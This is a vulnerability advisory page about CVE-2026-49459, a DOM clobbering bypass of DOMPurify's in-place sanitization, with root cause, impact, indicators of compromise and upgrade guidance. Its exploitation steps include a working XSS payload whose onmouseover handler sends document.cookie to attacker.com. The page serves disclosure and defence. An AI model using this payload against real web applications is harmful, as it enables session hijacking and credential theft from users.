CVE-2026-49459
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-49459 is a DOM clobbering-based XSS sanitizer bypass in DOMPurify affecting all versions up to and including 3.4.5. When DOMPurify.sanitize(root, { IN_PLACE: true }) is called with an attacker-controlled <form> element as the root, a descendant element whose name attribute matches any property checked by _isClobbered (e.g., nodeName, setAttribute, namespaceURI) causes the sanitizer to silently skip attribute removal on the root, leaving event-handler attributes (e.g., onmouseover, onclick) intact. The vulnerability was published by cure53 on May 26, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, Feedly).

Technical details

The root cause involves two interacting code-path failures classified as CWE-79 (XSS), CWE-693 (Protection Mechanism Failure), and CWE-1321 (Prototype Pollution via DOM clobbering). First, _forceRemove silently no-ops when called on a parent-less node: getParentNode(node).removeChild(node) throws because the root has no parent, and the fallback remove(node) is a WebIDL spec-defined no-op for detached nodes — so the node is never actually removed. Second, _sanitizeAttributes early-returns without inspecting any attributes when _isClobbered(currentNode) is true, under the assumption that a clobbered node has already been detached — an invariant that breaks for the iterator root in IN_PLACE mode. Because HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] attribute in all major browsers, a child <input name="nodeName"> shadows the form's nodeName property, causing _isClobbered to fire. The exploit is only triggered when: (1) the caller uses IN_PLACE: true, (2) the root is an HTMLFormElement, and (3) the attacker can place a clobber-named descendant inside the root. String-mode DOMPurify.sanitize(dirtyString) is not affected (Github Advisory).

Impact

Successful exploitation allows arbitrary JavaScript execution in the victim's browser within the context of the affected web application, enabling session hijacking, credential theft, and DOM-based attacks. Beyond event-handler XSS, the bypass also preserves action="javascript:..." and formaction="javascript:..." attributes (enabling click-triggered XSS), bypasses SAFE_FOR_TEMPLATES protections (allowing template injection into downstream engines like Vue, Angular, or Handlebars), and permits DOM-clobbering primitives via surviving id attributes (e.g., id="cookie", id="body"). Re-running DOMPurify.sanitize() on the same node does not remediate the issue on Chromium due to the browser's HTMLFormElement named-property cache retaining the clobber reference even after the child's name attribute is stripped (Github Advisory).

Exploitation steps

  1. Identify a vulnerable target: Find a web application that uses DOMPurify ≤ 3.4.5 with the IN_PLACE: true option to sanitize user-supplied HTML, particularly one that accepts a DOM node (rather than a string) as the sanitization root.
  2. Craft the malicious payload: Construct an <form> element with an event-handler attribute and a clobber-named child input:
<form onmouseover="fetch('https://attacker.com/?c='+document.cookie)">
  <input name="nodeName">
</form>
  1. Deliver the payload: Submit the malicious HTML through any user-controlled input field (comment box, WYSIWYG editor, CMS content field) that the application processes with DOMPurify.sanitize(node, { IN_PLACE: true }).
  2. Trigger sanitizer bypass: When the application parses the HTML (e.g., via template.innerHTML = dirty; DOMPurify.sanitize(template.content.firstElementChild, { IN_PLACE: true })), _isClobbered fires on the form root, _forceRemove no-ops, and _sanitizeAttributes early-returns — leaving the onmouseover attribute intact.
  3. Achieve XSS execution: The sanitized (but still malicious) node is inserted into the live document. When a victim user triggers the event (e.g., moves the mouse over the form), the JavaScript executes in their browser context, enabling session theft, credential harvesting, or further attacks (Github Advisory).

Indicators of compromise

  • Network: Unexpected outbound requests from victim browsers to attacker-controlled domains shortly after interacting with user-generated content areas; requests containing encoded cookie or session data in query parameters.
  • Logs: Server-side logs showing submission of HTML content containing <form> elements with both event-handler attributes (onmouseover, onclick, onfocus) and child <input> elements with name values matching DOM properties (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes).
  • Browser/Client-Side: Presence of <form> elements in the rendered DOM with surviving event-handler attributes or action="javascript:..." / formaction="javascript:..." attributes after DOMPurify sanitization; id attributes on form elements matching document property names (cookie, body, head).
  • Content Storage: Stored HTML in databases or CMS content fields containing the pattern <form ... on*="..."><input name="nodeName"> or variants using other clobber-target property names (Github Advisory).

Mitigation and workarounds

Upgrade DOMPurify to version 3.4.6 or later, which fixes the _forceRemove no-op behavior and _sanitizeAttributes early-return for clobbered root nodes (DOMPurify Release, Patch Commit). As an interim workaround, avoid using IN_PLACE: true with DOM nodes derived from untrusted HTML; instead, pass the raw HTML string directly to DOMPurify.sanitize(dirtyString), which is not affected. If IN_PLACE mode must be used, perform a string round-trip before sanitization: serialize the node to a string via outerHTML, then re-parse and sanitize the string — do not rely on re-running sanitize() on the same node, as the clobber is sticky in Chromium (Github Advisory).

Community reactions

The vulnerability was reported to cure53 by researchers credited as offset and Bankde, and the fix in version 3.4.6 acknowledges their contributions (DOMPurify Release). Red Hat opened a tracking bug (Bugzilla #2500676) with medium severity, indicating downstream package impact across Red Hat products (Red Hat Bugzilla). The advisory was detected by Qualys (ID: 5013795) and Nessus (ID: 327175), reflecting broad scanner coverage. No significant public social media controversy or vendor disputes have been noted.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-w4hw-qcx7-56prCRITICAL9.2
  • JavaScript logoJavaScript
  • shescape
NoYesJul 24, 2026
GHSA-gm3r-q2wp-hw87HIGH8.7
  • JavaScript logoJavaScript
  • shescape
NoYesJul 24, 2026
GHSA-q53c-4prm-w95qMEDIUM6.3
  • JavaScript logoJavaScript
  • shescape
NoYesJul 24, 2026
GHSA-8q49-2h5h-434xMEDIUM5.9
  • JavaScript logoJavaScript
  • @frontmcp/adapters
NoYesJul 24, 2026
GHSA-3r53-75j5-3g7jMEDIUM5.6
  • JavaScript logoJavaScript
  • quasar
NoYesJul 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management